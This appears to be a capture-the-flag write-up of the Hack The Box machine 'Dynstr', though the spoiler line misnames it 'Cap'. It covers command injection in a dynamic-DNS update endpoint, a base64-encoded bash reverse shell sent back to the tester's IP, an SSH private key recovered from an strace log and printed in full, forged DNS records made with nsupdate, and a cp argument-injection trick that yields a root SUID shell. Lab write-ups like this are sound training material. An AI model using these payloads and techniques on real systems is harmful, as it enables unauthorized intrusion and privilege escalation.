HTB: Dynstr Writeup
There are spoilers below for the Hack The Box box named Cap. Stop reading here if you do not want spoilers!!!
This is by FAR the most difficult box that I’ve done on HTB (I haven’t done any hard or insane boxes, but this was harder than any other medium box I’ve done).
Enumeration
$ nmap -sC -sV -oA nmap/dynstr 10.129.124.191
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-12 15:12 EDT
Nmap scan report for 10.129.124.191
Host is up (0.091s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.07 seconds
There are a couple things of interest, port 53 (typically DNS stuff) and port 80 hosting an Apache server. I’ll check out port 80 first.
Port 80
There appears to be a single webpage with nothing else of interest from nikto
or gobuster
. The website lists the following information
Domains:
dnsalias.htb
dynamicdns.htb
no-ip.htb
Login:
Username: dynadns
Password: sndanyd
The website also says that it uses the same API as no-ip.com and through gobuster
I located /nic/update
. Giving that a try, I found that we can update dynamic DNS entries with a curl command like the following
$ curl -u 'dynadns:sndanyd' 'http://no-ip.htb/nic/update?hostname=test.no-ip.htb'
And this is where I was stuck for the LONGEST time! I tried many combinations, locating the longest length of string I could send, trying different credentials, etc. I even tried many MANY fuzzing strings as input, but had little to no progress. The only thing I really noticed was that it seemed to ignore quotes (“) when executing.
After a LONG time and a lot of googling, I learned that it’s actually executing what is being sent in as a command. For example, this successfully executes:
$ curl -u 'dynadns:sndanyd' 'http://no-ip.htb/nic/update?hostname=$(echo+"test").no-ip.htb'
Using this RCE, we can send ourselves a reverse shell, but because we’re dealing with a URL, we need to avoid special characters, so we can do that by base64 encoding the payload (note if the base64 string contains a + character, you can double-base64 encode it or adjust spacing to avoid it).
$ echo -n 'bash -i &>/dev/tcp/10.10.14.5/9000 <&1' | base64
YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjUvOTAwMCA8JjE=
$ curl -u 'dynadns:sndanyd' 'http://no-ip.htb/nic/update?hostname=$(echo+"YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjUvOTAwMCA8JjE="|base64+-d|bash).no-ip.htb'
And catching this with a netcat listener
$ rlwrap nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.244] 53788
bash: cannot set terminal process group (753): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$
Success! We have a remote shell!
Privesc - User
Now that we’re running as the www-data
user, we need to move to the regular user.
Firstly, the files /home/bindmgr/.ssh/id_rsa.pub
and /home/bindmgr/.ssh/authorized_keys
are readable and contain the same entry, so if we can locate the value in /home/bindmgr/.ssh/id_rsa
we should be able to login! Unfortunately, there are a few issues with this.
- The
id_rsa
file is not readable - The
authorized_keys
lists that it will only accept connections from*.infra.dyna.htb
For the first problem, searching a little bit reveals the file /home/bindmgr/support-case-C62796521/strace-C62796521.txt
which contains an strace of some command being executed, but within the strace output we see an OpenSSH private key!
15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
Back on our machine, we can store this for later use
$ echo "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n" > bindmgr
$ chmod 700 bindmgr
Now for the second problem of the hostname. We know that this server acts as a dynamic DNS server, so it updates hostnames all the time, but it only allows updating of specific addresses, so lets check to see why this is?
Taking a look at the /var/www/html/nic/update
file, we see that it’s a PHP file:
<?php
// Check authentication
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { echo "badauth\n"; exit; }
if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }
// Set $myip from GET, defaulting to REMOTE_ADDR
$myip = $_SERVER['REMOTE_ADDR'];
if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP)) { $myip = $valid; }
if(isset($_GET['hostname'])) {
// Check for a valid domain
list($h,$d) = explode(".",$_GET['hostname'],2);
$validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
// Update DNS entry
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
// Return good or 911
if (!$retval) {
echo "good $myip\n";
} else {
echo "911 [nsupdate failed]\n"; exit;
}
} else {
echo "nochg $myip\n";
}
?>
Furthermore, it looks like the hostname restriction is just performed in this PHP file, so if we can bypass the file and directly execute the nsupdate
command, maybe we can get ourself assigned to a correct domain that is allowed logging in.
It looks like there’s a key file referenced in the PHP script called /etc/bind/ddns.key
, so taking a look at the /etc/bind
directory, there are a few other interesting files:
$ ls /etc/bind
...
ddns.key
infra.key
rndc.key
...
Since we want a *.infra.dyna.htb
domain, I bet that infra.key
file is what we will need to use.
After a bit more googling, I determined that what we need to do is update and create an A record, then assign our ip as a PTR to that record.
$ nsupdate -k /etc/bind/infra.key
update add api.infra.dyna.htb 86400 A 10.10.14.5
update add 5.14.10.10.in-addr.arpa 86400 PTR api.infra.dyna.htb
show
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id: 0
;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0
;; UPDATE SECTION:
5.14.10.10.in-addr.arpa. 86400 IN PTR api.infra.dyna.htb.
send
quit
Now, back on our machine, we can attempt to log in
$ ssh -i bindmgr bindmgr@no-ip.htb
bindmgr@dynstr:/tmp/test$
Success! We now have user!!
Privesc - Root
Looking around as the bindmgr
user, I noticed that we can execute a command with sudo
$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
So, this /usr/local/bin/bindmgr.sh
scrip can be executed, looking at the contents we have:
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi
Examining this script, it seems to first check for a .version
file in your current directory, then if it finds one, it will compare it to /etc/bind/named.bindmgr/.version
. If the version is higher, it will copy everything from the current directory to /etc/bind/named.bindmgr/
The issue with this is the copy command
cp .version * /etc/bind/named.bindmgr/
The *
here will simply take everything from the current directory and expand it on the CLI, so if we create a file with a name that is actually a CLI argument for cp
, that will get expanded and become an argument rather than a file. We can use this to our advantage to preserve permissions on a file that is being copied.
$ cd /tmp
$ echo 1 > .version
$ cp /bin/bash .
$ chmod +s bash
$ echo > '--preserve=mode'
This will expand to the following command
$ cp .version --preserve=mode bash /etc/bind/named.bindmgr/
And since we used chmod +s bash
, the resulting file will be owned by root
and will have the SUID bit set, allowing it to be executed as root. Using the following, we will execute this and make the copy.
$ sudo /usr/local/bin/bindmgr.sh
Now we should have a bash
as root with the SUID bit set
$ ls -larth /etc/bind/named.bindmgr
total 1.2M
-rw-rw-r-- 1 root bind 2 Jun 18 08:30 .version
-rwsr-sr-x 1 root bind 1.2M Jun 18 08:30 bash
drwxr-sr-x 3 root bind 4.0K Jun 18 08:30 ..
drwxr-sr-x 2 root bind 4.0K Jun 18 08:30 .
Great! Lets give it a try and execute this bash, but before we do we must look at the bash manual, specifically this portion:
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
So, if we just execute the bash, it will detect that the effective user (root
) differs from the real user (bindmgr
) and will set the effective user to the real user, causing it to execute as bindmgr
and not root
. So we need to pass the -p
option to prevent this from happening.
$ /etc/bind/named.bindmgr/bash -p
bash-5.0# whoami
root
bash-5.0#
Success!!!! We are now root!